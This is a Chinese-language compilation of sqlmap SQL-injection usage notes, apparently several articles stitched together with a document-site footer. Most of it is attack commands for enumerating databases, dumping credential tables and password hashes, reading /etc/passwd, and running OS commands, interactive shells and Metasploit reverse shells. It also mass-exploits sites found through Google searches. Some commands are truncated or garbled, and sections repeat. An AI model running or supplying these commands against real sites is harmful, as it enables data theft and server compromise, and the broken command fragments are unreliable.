sqlmap使用笔记[中文]
SQLMAP使用手册

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。
今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
∙4、联合查询注入,可以使用union的情况下的注入。
∙5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
sqlmap 用法

sqlmap 用法SQLmap 是一个基于Python 开发的自动化SQL 注入工具,可以自动扫描并发现网站SQL 注入漏洞,进而进行攻击,获取目标站点的敏感信息。
SQLmap 的用法如下:1. 下载SQLmap 并解压缩。
2. 打开命令行,进入到SQLmap 的目录下。
3. 执行以下命令:./sqlmap.py -u " dbs其中,`-u` 参数指定了目标网站的URL,`dbs` 参数是告诉SQLmap 爆破网站的数据库名称。
4. SQLmap 即会自动扫描目标站点,探测是否存在SQL 注入漏洞,并且提供一个菜单让用户选择要进行哪些操作。
下面是一些常用的SQLmap 命令:- `-u` 用来指定目标URL。
- `dbs` 用来指定要爆破的数据库名称。
- `current-db` 用来显示当前所处的数据库名称。
- `tables` 用来显示指定数据库中的所有表。
- `columns` 用来显示指定表中的所有列。
- `dump` 用来下载指定数据库中的所有数据。
- `-p` 用来指定要测试的参数。
- `technique` 用来指定使用的SQL 注入技术。
- `level` 用来指定SQL 注入攻击的强度级别。
- `user-agent` 用来指定HTTP User-Agent。
- `cookie` 用来指定HTTP Cookie。
- `tamper` 用来指定修改SQL 注入攻击载荷的方法。
以上命令只是SQLmap 的一部分,完整的命令列表可以查看SQLmap 的帮助文档。
在使用SQLmap 时,需要谨慎操作,以免不小心删除或修改了网站的数据。
sqlmap的用法

sqlmap的⽤法sqlmap注⼊⼤致流程1、安装python并环境配置,检验2、安装sqlmap,将sqlmap⽂件复制到python⽂件中3、在cmd中cd 到sqlmap⽂件路径4、输⼊python sqlmap.py -u "注⼊点"5、后续注⼊参考以下⽤法语法1、sqlmap⽤法(get类型sqlmap注⼊)sqlmap.py -u 'url' # 检测注⼊点是否可⽤sqlmap.py -u 'url'--dbs #可曝出该mysql中所有数据库名称sqlmap.py -u 'url' --current-db #web当前使⽤的数据库sqlmap.py -u 'url' --current-user #web数据库使⽤账户sqlmap.py -u 'url' --users #列出sql所有⽤户sqlmap.py -u 'url' --passwords #数据库账户与密码sqlmap.py -u 'url' --tables #输出所有的表sqlmap.py -u 'url' -D 【数据库名】 --tables #-D 指定数据库名sqlmap.py -u 'url' -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表columns 列出了所有的列字段sqlmap.py -u 'url' -D 【数据库名】 -T 【表名】 -C"username,realname,password" --dump # -C :指定要暴的字段扩充实例注⼊点:http://192.168.117.135/xxx.php?xxx_id=1输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u 'url',其中“-u”参数⽤于指定注⼊点的URL。
sqlmap使用笔记

./sqlmap.py -u / test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1
12.
./sqlmap.py -u / test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1
sqlmap使用笔记
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
14.
./sqlmap.py -u / test.php?p=2 -b –eta
15.
./sqlmap.py -u “/ sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”
3.
./sqlmap.py -u / test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2
Sqlmap使用(必备命令)

Sqlmap使⽤(必备命令)⼀、Sqlmap注⼊篇Sqlmap是⼀个专业的SQL注⼊⼯具,⽤法也很多,具体可以⽤"sqlmap -hh"查看完整的命令帮助⽂档,我这只是给⼤家分享⼀些最常⽤的Sqlmap⽤法。
1、检查注⼊点【get】 sqlmap -u "url"【post】sqlmap -u "url" --data="参数"【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"2、爆所有数据库信息--dbs(爆所有数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs--current-db(爆当前数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db3、列出指定数据库所有的表名-D 数据库名 --tables例如:列出数据库名为pikachu的所有数据表【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables4、列出指定表名的所有列名--columns 所有列名例如:数据库pikachu中users表所有字段名【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns5、dump打印输出表名指定列名字段的值数据-C 指定需要显⽰数值的字段名,不指定默认显⽰全部字段例如:数据库pikachu中users表中username,password字段的值【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -Cusername,password --dump6、Sqlmap -r 使⽤使⽤Fiddler或者Burp Suite抓包将get或者post请求保存为.txt⽂件,然后使⽤Sqlmap -r “txt⽂件路径”调⽤,这样就不⽤输⼊参数和cookie了。
sqlmap用法

sqlmap用法SQLMAP是一款免费的开源渗透测试Web应用程序的工具,它可以用来检查Web应用程序的SQL注入漏洞,并且可以自动测试漏洞,直接把数据库内容抽取出来。
SQLMAP可以用于网站安全测试,攻击者使用SQLMAP可以发现数据库服务器上的安全漏洞,而且可以把数据库内容抽取出来。
SQLMAP是一款功能强大的渗透测试工具,可以识别和测试多个数据库,包括MySQL、Oracle、MS SQL Server、PostgreSQL、IBM DB2、SQLite、Microsoft Access等常用数据库。
它可以测试多种数据库漏洞,如SQL注入、SQL盲注、SQL抽取、SQL注入补丁评估、基于时间的SQL注入、绕过WAF等。
SQLMAP的工作方式主要分为六个步骤:1.测试链接:首先,SQLMAP通过一个URL来测试链接,然后尝试获取页面的源代码和标头信息。
2.识别数据库:SQLMAP尝试识别页面受到哪种类型的数据库驱动程序的影响,然后开始攻击那种类型的数据库。
3.测试报文:SQLMAP通过发送不同类型的报文来测试目标页面是否存在SQL注入漏洞。
4.抽取数据库:如果目标页面存在SQL注入漏洞,SQLMAP就能够抽取页面上的数据库,从而获取数据库中的敏感信息。
5.在信息层面上建立后门:SQLMAP可以在信息层面上建立后门,绕过管理员的限制,获取系统的敏感信息。
6.执行其他更加有害的操作:在SQLMAP获取系统的敏感信息之后,它还可以执行一些更加有害的操作,比如添加新用户,修改系统配置,查看数据库结构等。
SQLMAP的用法也很简单,只需要输入正确的命令就可以开始使用了。
要开始使用SQLMAP,需要在命令行环境中输入以下命令:sqlmap -u [url]这时,SQLMAP会开始检测SQL注入漏洞,检测完毕之后如果发现SQL注入漏洞,SQLMAP会把发现的漏洞显示出来,这样攻击者就能了解到数据库的相关信息了。
sqlmap基础使用
sqlmap基础使用SQLMap是一款用于自动化SQL注入和数据库渗透测试的工具。
下面是SQLMap的基础使用方法:1. 扫描目标网站:```shellsqlmap -u <目标URL>```2. 扫描POST请求:```shellsqlmap -u <目标URL> --data="<POST数据>"```3. 使用代理扫描目标网站:```shellsqlmap -u <目标URL> --proxy="<代理地址>"```4. 使用Cookie扫描目标网站:```shellsqlmap -u <目标URL> --cookie="<Cookie数据>"```5. 使用自定义User-Agent扫描目标网站:```shellsqlmap -u <目标URL> --user-agent="<User-Agent数据>" ```6. 指定注入点类型:```shellsqlmap -u <目标URL> --level=<测试级别> --risk=<风险级别> ```7. 扫描指定的注入点:```shellsqlmap -u <目标URL> --tests="<测试名称>"```8. 执行特定的SQL语句:```shellsqlmap -u <目标URL> --sql-query="<SQL语句>"```9. 获取目标数据库版本:```shellsqlmap -u <目标URL> --dbs```10. 获取目标数据库的所有表:```shellsqlmap -u <目标URL> -D <数据库名> --tables```11. 获取指定表的所有列:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> --columns```12. 获取指定列的数据:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> -C "<列名1>,<列名2>,..." --dump```以上是SQLMap的基础使用方法,可以根据具体的需求进行组合和调整。
sqlmap使用方法总结
SQLMap 是一款开源的自动化 SQL 注入工具,它可以帮助安全人员快速发现和利用网站中的 SQL 注入漏洞。
以下是 SQLMap 的一些基本使用方法总结:
1. 确定目标:首先,你需要确定要测试的目标网站或应用程序的 URL。
2. 选择注入点:在目标网站上,选择一个你认为可能存在 SQL 注入漏洞的页面或表单。
通常,这些页面会接受用户输入,如用户名、密码、搜索框等。
3. 生成测试语句:使用 SQLMap,你可以生成各种类型的测试语句来尝试注入 SQL 命令。
可以通过指定注入点的参数名称和值来生成测试语句。
4. 执行测试:将生成的测试语句发送到目标网站,并观察返回的结果。
SQLMap 会根据返回的结果判断是否存在 SQL 注入漏洞,并尝试获取更多的信息。
5. 利用漏洞:如果发现了 SQL 注入漏洞,你可以使用 SQLMap 来进一步利用该漏洞。
例如,获取数据库中的敏感信息、修改数据、执行任意 SQL 命令等。
6. 报告漏洞:在完成测试和利用漏洞后,建议你向相关方报告发现的漏洞,以帮助他们修复问题并提高网站的安全性。
需要注意的是,SQLMap 的使用需要谨慎,并且应该仅在授权的环境下进行。
在进行任何安全测试之前,请确保你已经获得了合法的授权。
此外,SQLMap 可能无法适用于所有的网站和应用程序,因为一些网站可能采取了防护措施来防止 SQL 注入攻击。
sqlmap 使用详细介绍
sqlmap 使用详细介绍sqlmap是一种用于自动化检测和利用SQL注入漏洞的工具。
它支持多种数据库,并能够无需用户介入地检测和利用注入漏洞。
下面我们来详细介绍sqlmap 的使用。
1. 安装sqlmap首先,从sqlmap官网下载最新版本。
下载完成后解压,即可开始使用。
2. 检测SQL注入漏洞(1)使用GET参数例如,我们有一个URL:python sqlmap.py -u " dbs这个命令会告诉sqlmap对目标URL进行检测,并且列出所有检测到的数据库。
(2)使用POST参数假设我们有一个表单,其中包含username和password字段,并使用POST 请求将其提交。
假设我们知道这个表单可能存在SQL注入漏洞。
那么,我们可以使用以下命令进行检测:python sqlmap.py -u " data "username=admin&password=123456" dbs这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库。
3. 利用SQL注入漏洞如果SQL注入漏洞被检测到,那么我们可以使用以下命令将其利用:python sqlmap.py -u " dbs dump这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库,并尝试dump出所有的敏感数据。
请注意,这个命令会将敏感数据写入到当前目录下的一个文件中。
4. 使用代理如果我们需要通过代理服务器来访问目标网站,那么可以使用以下命令:python sqlmap.py -u " proxy dbs这个命令将告诉sqlmap使用指定的代理服务器来连接到目标网站。
5. 高级选项sqlmap还提供了许多高级选项,可帮助我们更好地控制我们的检测和利用。
例如,我们可以使用以下命令指定要使用的数据库:python sqlmap.py -u " dbms mysql dbs这个命令将告诉sqlmap只检测MySQL数据库。
sqlmap简单中文说明
sqlmap简单中文说明更新svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev sqlmap.py -u "/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句sqlmap.py -u "/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息load options from a configuration INI filesqlmap -c sqlmap.conf使用POST方法提交sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1使用referer欺骗python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--referer "" -v 3使用自定义user-agent,或者使用随机使用自带的user-agents.txtpython sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1"--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"使用基本认证python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3使用Digest认证python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3使用代理,配合TORpython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--proxy "http://192.168.1.47:3128"python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--proxy "http://192.168.1.47:8118"使用多线程猜解python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "idpython sqlmap.py -u"http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id" python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 ()"指定数据库,绕过SQLMAP的自动检测python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"* MySQL* Oracle* PostgreSQL* Microsoft SQL Server指定操作系统,绕过SQLMAP自动检测python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"* Linux* Windows自定义payloadOptions: --prefix and --postfixIn some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:$ python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id"--prefix "'" --postfix "AND 'test'='test"[...][hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [hh:mm:16] [INFO] testing custom injection on GET parameter 'id'[hh:mm:16] [TRAFFIC OUT] HTTP request:GET/sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20A ND%20%28%27test%27=%27test HTTP/1.1Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7Host: 192.168.1.121:80Accept-language: en-us,en;q=0.5Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5User-agent: sqlmap/0.7rc1 ()Connection: close[...][hh:mm:17] [INFO] GET parameter 'id' is custom injectable[...]As you can see, the injection payload for testing for custom injection is:id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test which URL decoded is:id=1') AND 7433=7433 AND ('test'='testand makes the query syntatically correct to the page query:SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1 In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.页面比较python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1python sqlmap.py -u"<td>lu[\w][\w]er" -v排除网站的内容python sqlmap.py -u"http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"多语句测试,php内嵌函数mysql_query(),不支持多语句python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--stacked-test -v 1union注入测试python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1"--union-test -v 1unionz注入配合orderbypython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1"--union-test --union-tech orderby -v 1python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --bannerpython sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-userpython sqlmap.py -u--union-use --dbsfingerprintpython sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b判断当前用户是否是dbapython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--is-dba -v 1列举数据库用户python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--users -v 0列举数据库用户密码python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--passwords -v 0python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1"--passwords -U sa -v 0查看用户权限python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1"--privileges -v 0python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--privileges -U postgres -v 0列数据库python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0列出指定数据库指定表的列名python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--columns -T users -D test -v 1列出指定数据库的指定表的指定列的内容python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1"--dump -T users -D master -C surname -v 0指定列的范围从2-4python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--dump -T users -D test --start 2 --stop 4 -v 0导出所有数据库,所有表的内容python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--dump-all -v 0只列出用户自己新建的数据库和表的内容python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1"--dump-all --exclude-sysdbs -v 0sql querypython sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"--sql-query "SELECT usename FROM pg_user" -v 0python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"--sql-query "SELECT host, password FROM er LIMIT 1, 3" -v 1 SELECT usename, passwd FROM pg_shadow ORDER BY usename保存和恢复会话python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"保存选项到INC配置文件python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Sqlmap 最新测试文档 Email:linuxseclab@
测试许多款sql注入工具 最终还是发现sqlmap 最为强悍 谁用谁知道!
赶紧抛弃掉手上一大堆sql注入工具吧 : )
测试环境:ubuntu 10.10 & windows 7(x64) sqlmap/1.0-dev (r4405)
如使用过程中出错 请使用下面最近更新的稳定版本:
/c0adthmqf1
更新升级 :
sqlmap -update
svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev
帮助:
sqlmap -h
官方最新文档:/doc/README.html
******************基本步骤***************
sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称
sqlmap -u "/news?id=1" --current-db #获取当前数据库名称
sqlmap -u "/news?id=1" --tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
******************信息获取******************
sqlmap -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 执行测试等级
sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型
sqlmap -u "http://url/news?id=1" --users #列数据库用户
sqlmap -u "http://url/news?id=1" --dbs#列数据库
sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码
sqlmap -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20条
sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1" --privileges #查看权限
sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员
sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1" --cookie "COOKIE_V ALUE" #cookie注入
sqlmap -u "http://url/news?id=1" -b #获取banner信息
sqlmap -u "http://url/news?id=1" --data "id=3" #post注入
sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1" --file /etc/passwd
sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell
sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段
攻击实例:
sqlmap -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d 28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password
***********安装最新版本*************
ubuntu 通过 apt-get install 安装的sqlmap版本为 0.6
我们通过svn 来安装 为 最新 1.0版
sudo svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py
直接执行 /home/当前用户/sqlmap-dev/sqlmap.py --version
这样很不方便 我们可以设置 .bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'
重启生效
******************windows 7 (x64) sqlmap install (SVN)************
/getit/ 安装python
/en/download 安装windows svn client
svn checkout https:///sqlmap/trunk/sqlmap sqlmap-dev 安装sqlmap
*修改环境变量
更多信息请关注 /nginxshell。